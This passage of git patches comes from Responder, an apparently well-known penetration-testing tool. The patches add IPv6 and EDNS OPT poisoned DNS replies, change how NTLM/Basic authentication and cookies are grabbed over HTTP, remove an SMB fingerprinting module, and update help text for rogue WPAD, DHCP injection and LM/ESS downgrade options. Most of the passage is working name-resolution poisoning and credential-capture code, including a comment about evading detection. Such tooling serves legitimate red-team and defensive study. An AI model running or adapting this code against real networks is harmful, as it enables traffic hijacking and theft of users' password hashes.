settings.Config.NBTNSDomain: - if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Domain Controller": - return True - elif settings.Config.Wredirect: - if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Workstation/Redirector": - return True - return False - # NBT_NS Server class. class NBTNS(BaseRequestHandler): @@ -51,10 +35,6 @@ class NBTNS(BaseRequestHandler): return None if data[2:4] == b'\x01\x10': - Finger = None - if settings.Config.Finger_On_Off: - Finger = fingerprint.RunSmbFinger((self.client_address[0],445)) - if settings.Config.AnalyzeMode: # Analyze Mode LineHeader = "[Analyze mode: NBT-NS]" print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)) @@ -77,6 +57,3 @@ class NBTNS(BaseRequestHandler): 'AnalyzeMode': '0', }) - if Finger is not None: - print(text("[FINGER] OS Version : %s" % color(Finger[0], 3))) - print(text("[FINGER] Client Version : %s" % color(Finger[1], 3))) diff --git a/servers/DNS.py b/servers/DNS.py index 528c078..97cf140 100755 --- a/servers/DNS.py +++ b/servers/DNS.py @@ -15,7 +15,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . from utils import * -from packets import DNS_Ans, DNS_SRV_Ans +from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler else: @@ -28,6 +28,8 @@ def ParseDNSType(data): return "A" if QueryTypeClass == "\x00\x21\x00\x01": return "SRV" + if QueryTypeClass == "\x00\x1c\x00\x01": + return "IPv6" @@ -53,7 +55,15 @@ class DNS(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6": + buff = DNS6_Ans() + buff.calculate(NetworkRecvBufferPython2or3(data)) + soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + except Exception: + raise pass # DNS Server TCP Class @@ -79,5 +89,13 @@ class DNSTCP(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6": + buff = DNS6_Ans() + buff.calculate(NetworkRecvBufferPython2or3(data)) + self.request.send(NetworkSendBufferPython2or3(buff)) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + except Exception: + raise pass diff --git a/servers/FTP.py b/servers/FTP.py old mode 100644 new mode 100755 index cd249ac..b60b3d9 --- a/servers/FTP.py +++ b/servers/FTP.py @@ -37,10 +37,8 @@ class FTP(BaseRequestHandler): if data[0:4] == b'PASS': Pass = data[5:].strip().decode("latin-1") - Packet = FTPPacket(Code="530",Message="User not logged in.") self.request.send(NetworkSendBufferPython2or3(Packet)) - data = self.request.recv(1024) SaveToDb({ 'module': 'FTP', @@ -57,4 +55,5 @@ class FTP(BaseRequestHandler): data = self.request.recv(1024) except Exception: + raise pass diff --git a/servers/HTTP.py b/servers/HTTP.py old mode 100644 new mode 100755 index 2701ca8..0ce6b73 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -86,16 +86,6 @@ def GrabCookie(data, host): return Cookie return False -def GrabHost(data, host): - Host = re.search(r'(Host:*.\=*)[^\r\n]*', data) - - if Host: - Host = Host.group(0).replace('Host: ', '') - if settings.Config.Verbose: - print(text("[HTTP] Host : %s " % color(Host, 3))) - return Host - return False - def GrabReferer(data, host): Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data) @@ -196,8 +186,7 @@ def PacketSequence(data, client, Challenge): Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] if Packet_NTLM == b'\x01': GrabURL(data, client) - GrabReferer(data, client) - GrabHost(data, client) + #GrabReferer(data, client) GrabCookie(data, client) Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge)) @@ -228,8 +217,7 @@ def PacketSequence(data, client, Challenge): ClearText_Auth = b64decode(''.join(Basic_Auth)) GrabURL(data, client) - GrabReferer(data, client) - GrabHost(data, client) + #GrabReferer(data, client) GrabCookie(data, client) SaveToDb({ @@ -311,3 +299,4 @@ class HTTP(BaseRequestHandler): except: pass + diff --git a/servers/HTTP_Proxy.py b/servers/HTTP_Proxy.py old mode 100644 new mode 100755 index 2b23dbf..fcade5e --- a/servers/HTTP_Proxy.py +++ b/servers/HTTP_Proxy.py @@ -207,7 +207,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): rbufsize = 0 def handle(self): - (ip, port) = self.client_address + (ip, port) = self.client_address[0], self.client_address[1] if settings.Config.Verbose: print(text("[PROXY] Received connection from %s" % self.client_address[0])) self.__base_handle() @@ -246,14 +246,15 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): try: if self._connect_to(self.path, soc): - self.wfile.write(self.protocol_version +" 200 Connection established\r\n") - self.wfile.write("Proxy-agent: %s\r\n" % self.version_string()) - self.wfile.write("\r\n") + self.wfile.write(NetworkSendBufferPython2or3(self.protocol_version +" 200 Connection established\r\n")) + self.wfile.write(NetworkSendBufferPython2or3("Proxy-agent: %s\r\n"% self.version_string())) + self.wfile.write(NetworkSendBufferPython2or3("\r\n")) try: self._read_write(soc, 300) except: pass except: + raise pass finally: diff --git a/servers/MSSQL.py b/servers/MSSQL.py old mode 100644 new mode 100755 diff --git a/servers/RDP.py b/servers/RDP.py old mode 100644 new mode 100755 index 82edbe7..f2e5bd1 --- a/servers/RDP.py +++ b/servers/RDP.py @@ -105,7 +105,7 @@ class RDP(BaseRequestHandler): h.calculate() buffer1 = str(h) self.request.send(NetworkSendBufferPython2or3(buffer1)) - SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True) + SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS_SERVER,server_side=True) SSLsock.settimeout(30) data = SSLsock.read(8092) if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00': diff --git a/settings.py b/settings.py index a2ee6ed..095f5b5 100755 --- a/settings.py +++ b/settings.py @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.1.0.0' +__version__ = 'Responder 3.1.1.0' class Settings: @@ -83,7 +83,7 @@ class Settings: # Config parsing config = ConfigParser.ConfigParser() config.read(os.path.join(self.ResponderPATH, 'Responder.conf')) - + # Servers self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP')) self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS')) @@ -119,10 +119,8 @@ class Settings: self.LM_On_Off = options.LM_On_Off self.NOESS_On_Off = options.NOESS_On_Off self.WPAD_On_Off = options.WPAD_On_Off - self.Wredirect = options.Wredirect self.DHCP_On_Off = options.DHCP_On_Off self.Basic = options.Basic - self.Finger_On_Off = options.Finger self.Interface = options.Interface self.OURIP = options.OURIP self.Force_WPAD_Auth = options.Force_WPAD_Auth @@ -132,23 +130,42 @@ class Settings: self.ProxyAuth_On_Off = options.ProxyAuth_On_Off self.CommandLine = str(sys.argv) self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) - self.DHCP_DNS = options.DHCP_DNS + self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP) + self.DHCP_DNS = options.DHCP_DNS + self.ExternalIP6 = options.ExternalIP6 if self.Interface == "ALL": self.Bind_To_ALL = True else: self.Bind_To_ALL = False - + #IPV4 if self.Interface == "ALL": self.IP_aton = socket.inet_aton(self.OURIP) else: self.IP_aton = socket.inet_aton(self.Bind_To) - + #IPV6 + if self.Interface == "ALL": + if self.OURIP != None and utils.IsIPv6IP(self.OURIP): + self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.OURIP) + else: + self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.Bind_To6) + + #External IP if self.ExternalIP: + if utils.IsIPv6IP(self.ExternalIP): + sys.exit(utils.color('[!] IPv6 address provided with -e parameter. Use -6 IPv6_address instead.', 1)) + self.ExternalIPAton = socket.inet_aton(self.ExternalIP) self.ExternalResponderIP = utils.RespondWithIP() else: self.ExternalResponderIP = self.Bind_To + + #External IPv6 + if self.ExternalIP6: + self.ExternalIP6Pton = socket.inet_pton(socket.AF_INET6, self.ExternalIP6) + self.ExternalResponderIP6 = utils.RespondWithIP6() + else: + self.ExternalResponderIP6 = self.Bind_To6 self.Os_version = sys.platform @@ -207,6 +224,7 @@ class Settings: #Generate Random stuff for one Responder session self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)]) + self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)]) self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)]) self.DHCPHostname = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)]) self.DomainName = self.Domain + '.LOCAL' diff --git a/utils.py b/utils.py index 2da16be..d82bdf5 100755 --- a/utils.py +++ b/utils.py @@ -24,8 +24,24 @@ import settings import datetime import codecs import struct +import random +try: + import netifaces +except: + sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"') + from calendar import timegm +def if_nametoindex2(name): + if settings.Config.PY2OR3 == "PY2": + import ctypes + import ctypes.util + libc = ctypes.CDLL(ctypes.util.find_library('c')) + ret = libc.if_nametoindex(name) + return ret + else: + return socket.if_nametoindex(settings.Config.Interface) + def RandomChallenge(): if settings.Config.PY2OR3 == "PY3": if settings.Config.NumChal == "random": @@ -128,17 +144,30 @@ def RespondWithIPAton(): else: return settings.Config.IP_aton.decode('latin-1') -def RespondWithIP(): +def RespondWithIPPton(): if settings.Config.PY2OR3 == "PY2": - if settings.Config.ExternalIP: - return settings.Config.ExternalIP + if settings.Config.ExternalIP6: + return settings.Config.ExternalIP6Pton else: - return settings.Config.Bind_To + return settings.Config.IP_Pton6 else: - if settings.Config.ExternalIP: - return settings.Config.ExternalIP + if settings.Config.ExternalIP6: + return settings.Config.ExternalIP6Pton.decode('latin-1') else: - return settings.Config.Bind_To + return settings.Config.IP_Pton6.decode('latin-1') + +def RespondWithIP(): + if settings.Config.ExternalIP: + return settings.Config.ExternalIP + else: + return settings.Config.Bind_To + +def RespondWithIP6(): + if settings.Config.ExternalIP6: + return settings.Config.ExternalIP6 + else: + return settings.Config.Bind_To6 + def OsInterfaceIsSupported(): if settings.Config.Interface != "Not set": @@ -148,6 +177,16 @@ def OsInterfaceIsSupported(): def IsOsX(): return sys.platform == "darwin" +def IsIPv6IP(IP): + if IP == None: + return False + regex = "(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))" + ret = re.search(regex, IP) + if ret: + return True + else: + return False + def FindLocalIP(Iface, OURIP): if Iface == 'ALL': return '0.0.0.0' @@ -155,6 +194,19 @@ def FindLocalIP(Iface, OURIP): try: if IsOsX(): return OURIP + + elif IsIPv6IP(OURIP): + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8')) + s.connect(("127.0.0.1",9))#RFC 863 + ret = s.getsockname()[0] + s.close() + return ret + + + elif IsIPv6IP(OURIP) == False and OURIP != None: + return OURIP + elif OURIP == None: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8')) @@ -162,11 +214,45 @@ def FindLocalIP(Iface, OURIP): ret = s.getsockname()[0] s.close() return ret - return OURIP + except socket.error: print(color("[!] Error: %s: Interface not found" % Iface, 1)) sys.exit(-1) + +def FindLocalIP6(Iface, OURIP): + if Iface == 'ALL': + return '::' + + try: + + if IsIPv6IP(OURIP) == False: + + try: + #Let's make it random so we don't get spotted easily. + randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7))) + s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) + s.connect((randIP+':80', 1)) + IP = s.getsockname()[0] + print('IP is: %s'%IP) + return IP + except: + try: + #Try harder; Let's get the local link addr + IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, "")) + return IP + except: + IP = '::1' + print("[+] You don't have an IPv6 address assigned.") + return IP + + else: + return OURIP + + except socket.error: + print(color("[!] Error: %s: Interface not found" % Iface, 1)) + sys.exit(-1) + # Function used to write captured hashs to a file. def WriteData(outfile, data, user): logging.info("[*] Captured Hash: %s" % data) @@ -336,14 +422,20 @@ def SaveDHCPToDb(result): cursor.close() def Parse_IPV6_Addr(data): - if data[len(data)-4:len(data)][1] ==b'\x1c': - return False + if data[len(data)-4:len(data)] == b'\x00\x1c\x00\x01': + return 'IPv6' elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01': return True elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01': return True return False +def IsIPv6(data): + if "::ffff:" in data: + return False + else: + return True + def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission. try: from string import printable @@ -435,14 +527,18 @@ def StartupMessage(): print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)) print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled)) print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled)) - print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled)) print('') print(color("[+] ", 2, 1) + "Generic Options:") print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1)) print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1)) + print(' %-27s' % "Responder IPv6" + color('[%s]' % settings.Config.Bind_To6, 5, 1)) + if settings.Config.ExternalIP: + print(' %-27s' % "Responder external IP" + color('[%s]' % settings.Config.ExternalIP, 5, 1)) + if settings.Config.ExternalIP6: + print(' %-27s' % "Responder external IPv6" + color('[%s]' % settings.Config.ExternalIP6, 5, 1)) + print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1)) - if settings.Config.Upstream_Proxy: print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)) From 0b56d6aaeb00406b364cf152b258365393d64ccc Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 17 Dec 2021 10:10:08 -0300 Subject: [PATCH 014/114] removed fingerprint.py --- fingerprint.py | 66 -------------------------------------------------- 1 file changed, 66 deletions(-) delete mode 100644 fingerprint.py diff --git a/fingerprint.py b/fingerprint.py deleted file mode 100644 index 382a1e1..0000000 --- a/fingerprint.py +++ /dev/null @@ -1,66 +0,0 @@ -#!/usr/bin/env python -# This file is part of Responder, a network take-over set of tools -# created and maintained by Laurent Gaffie. -# email: laurent.gaffie@gmail.com -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import socket -import struct -import sys - -from utils import color, StructPython2or3, NetworkSendBufferPython2or3, NetworkRecvBufferPython2or3 -from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData - -def OsNameClientVersion(data): - try: - if (sys.version_info > (3, 0)): - length = struct.unpack('i', str(Packet))+str(Packet) - s.send(NetworkSendBufferPython2or3(Buffer1)) - data = s.recv(2048) - - if data[8:10] == b'\x72\x00': - Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") - Body = SMBSessionFingerData() - Body.calculate() - - Packet = str(Header)+str(Body) - Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet) - s.send(NetworkSendBufferPython2or3(Buffer1)) - data = s.recv(2048) - - if data[8:10] == b'\x73\x16': - return OsNameClientVersion(data) - except: - print(color("[!] ", 1, 1) +" Fingerprint failed") - return None From 5cf69228cf5ce4c0433904ee1d05955e8fd6f618 Mon Sep 17 00:00:00 2001 From: lgandx Date: Tue, 21 Dec 2021 22:39:02 -0300 Subject: [PATCH 015/114] added support for OPT EDNS --- packets.py | 67 ++++++++++++++++++++++++++++++++++++++++++++++++++ servers/DNS.py | 42 ++++++++++++++++++++++++++----- 2 files changed, 103 insertions(+), 6 deletions(-) diff --git a/packets.py b/packets.py index 07c9a7d..03ec50f 100755 --- a/packets.py +++ b/packets.py @@ -89,6 +89,40 @@ class DNS_Ans(Packet): self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) self.fields["IP"] = RespondWithIPAton() self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) + +# DNS Answer Packet OPT +class DNS_AnsOPT(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x85\x10"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x01"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x01"), + ("Class", "\x00\x01"), + ("AnswerPointer", "\xc0\x0c"), + ("Type1", "\x00\x01"), + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long.. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ("OPTName", "\x00"), + ("OPTType", "\x00\x29"), + ("OPTUDPSize", "\x10\x00"), + ("OPTRCode", "\x00"), + ("OPTEDNSVersion", "\x00"), + ("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case. + ("OPTStr", "\x00\x00"), + ]) + + def calculate(self,data): + self.fields["Tid"] = data[0:2] + self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) + self.fields["IP"] = RespondWithIPAton() + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) class DNS6_Ans(Packet): fields = OrderedDict([ @@ -115,6 +149,39 @@ class DNS6_Ans(Packet): self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) self.fields["IP"] = RespondWithIPPton() self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) + +class DNS6_AnsOPT(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x85\x10"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x01"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x1c"), + ("Class", "\x00\x01"), + ("AnswerPointer", "\xc0\x0c"), + ("Type1", "\x00\x1c"), + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long.. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ("OPTName", "\x00"), + ("OPTType", "\x00\x29"), + ("OPTUDPSize", "\x10\x00"), + ("OPTRCode", "\x00"), + ("OPTEDNSVersion", "\x00"), + ("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case. + ("OPTStr", "\x00\x00"), + ]) + + def calculate(self,data): + self.fields["Tid"] = data[0:2] + self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) + self.fields["IP"] = RespondWithIPPton() + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) class DNS_SRV_Ans(Packet): fields = OrderedDict([ diff --git a/servers/DNS.py b/servers/DNS.py index 97cf140..9c546e7 100755 --- a/servers/DNS.py +++ b/servers/DNS.py @@ -15,7 +15,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . from utils import * -from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans +from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans, DNS_AnsOPT if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler else: @@ -23,12 +23,15 @@ else: def ParseDNSType(data): QueryTypeClass = data[len(data)-4:] + OPT = data[len(data)-22:len(data)-20] + if OPT == "\x00\x29": + return "OPTIPv4" # If Type A, Class IN, then answer. - if QueryTypeClass == "\x00\x01\x00\x01": + elif QueryTypeClass == "\x00\x01\x00\x01": return "A" - if QueryTypeClass == "\x00\x21\x00\x01": + elif QueryTypeClass == "\x00\x21\x00\x01": return "SRV" - if QueryTypeClass == "\x00\x1c\x00\x01": + elif QueryTypeClass == "\x00\x1c\x00\x01": return "IPv6" @@ -48,6 +51,13 @@ class DNS(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4": + buff = DNS_AnsOPT() + buff.calculate(NetworkRecvBufferPython2or3(data)) + soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV": buff = DNS_SRV_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) @@ -62,8 +72,15 @@ class DNS(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6": + buff = DNS6_Ans() + buff.calculate(NetworkRecvBufferPython2or3(data)) + soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] AAAA OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + + except Exception: - raise pass # DNS Server TCP Class @@ -82,6 +99,13 @@ class DNSTCP(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4": + buff = DNS_AnsOPT() + buff.calculate(NetworkRecvBufferPython2or3(data)) + self.request.send(NetworkSendBufferPython2or3(buff)) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV": buff = DNS_SRV_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) @@ -96,6 +120,12 @@ class DNSTCP(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6": + buff = DNS6_AnsOPT() + buff.calculate(NetworkRecvBufferPython2or3(data)) + self.request.send(NetworkSendBufferPython2or3(buff)) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + except Exception: - raise pass From afb54fa274dc41b04fc3cf14ac43ddf712f82bf7 Mon Sep 17 00:00:00 2001 From: root Date: Tue, 11 Jan 2022 15:37:14 -0600 Subject: [PATCH 016/114] Updated the README and Responder help flags --- README.md | 41 +++++++++++++++++++---------------------- Responder.py | 2 +- 2 files changed, 20 insertions(+), 23 deletions(-) diff --git a/README.md b/README.md index 9fbe7e8..28b2eef 100755 --- a/README.md +++ b/README.md @@ -125,51 +125,48 @@ Running the tool: Typical Usage Example: - ./Responder.py -I eth0 -rPv + ./Responder.py -I eth0 -Pv Options: - - --version show program's version number and exit - -h, --help show this help message and exit - -A, --analyze Analyze mode. This option allows you to see NBT-NS, + --version show program's version number and exit + -h, --help show this help message and exit + -A, --analyze Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding. - -I eth0, --interface=eth0 + -I eth0, --interface=eth0 Network interface to use, you can use 'ALL' as a wildcard for all interfaces - -i 10.0.0.21, --ip=10.0.0.21 + -i 10.0.0.21, --ip=10.0.0.21 Local IP to use (only for OSX) - -6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed + -6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed Poison all requests with another IPv6 address than Responder's one. - -e 10.0.0.22, --externalip=10.0.0.22 + -e 10.0.0.22, --externalip=10.0.0.22 Poison all requests with another IP address than Responder's one. - -b, --basic Return a Basic HTTP authentication. Default: NTLM - -r, --wredir Enable answers for netbios wredir suffix queries. - Answering to wredir will likely break stuff on the - network. Default: False - -d, --DHCP Enable answers for DHCP broadcast requests. This + -b, --basic Return a Basic HTTP authentication. Default: NTLM + -d, --DHCP Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False - -D, --DHCP-DNS This option will inject a DNS server in the DHCP + -D, --DHCP-DNS This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False - -w, --wpad Start the WPAD rogue proxy server. Default value is + -w, --wpad Start the WPAD rogue proxy server. Default value is False - -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY + -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port) - -F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file + -F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False - -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) + -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False - --lm Force LM hashing downgrade for Windows XP/2003 and + --lm Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False - --disable-ess Force ESS downgrade. Default: False - -v, --verbose Increase verbosity. + --disable-ess Force ESS downgrade. Default: False + -v, --verbose Increase verbosity. + diff --git a/Responder.py b/Responder.py index 17f0a68..fce3fb8 100755 --- a/Responder.py +++ b/Responder.py @@ -25,7 +25,7 @@ from utils import * import struct banner() -parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0]) +parser = optparse.OptionParser(usage='python %prog -I eth0 -w -d\nor:\npython %prog -I eth0 -wd', version=settings.__version__, prog=sys.argv[0]) parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False) parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None) parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None) From f85ad77d595f5d79b86ddce843bc884f1ff4ac9e Mon Sep 17 00:00:00 2001 From: Andrii Nechytailov Date: Thu, 3 Feb 2022 18:32:42 +0200 Subject: 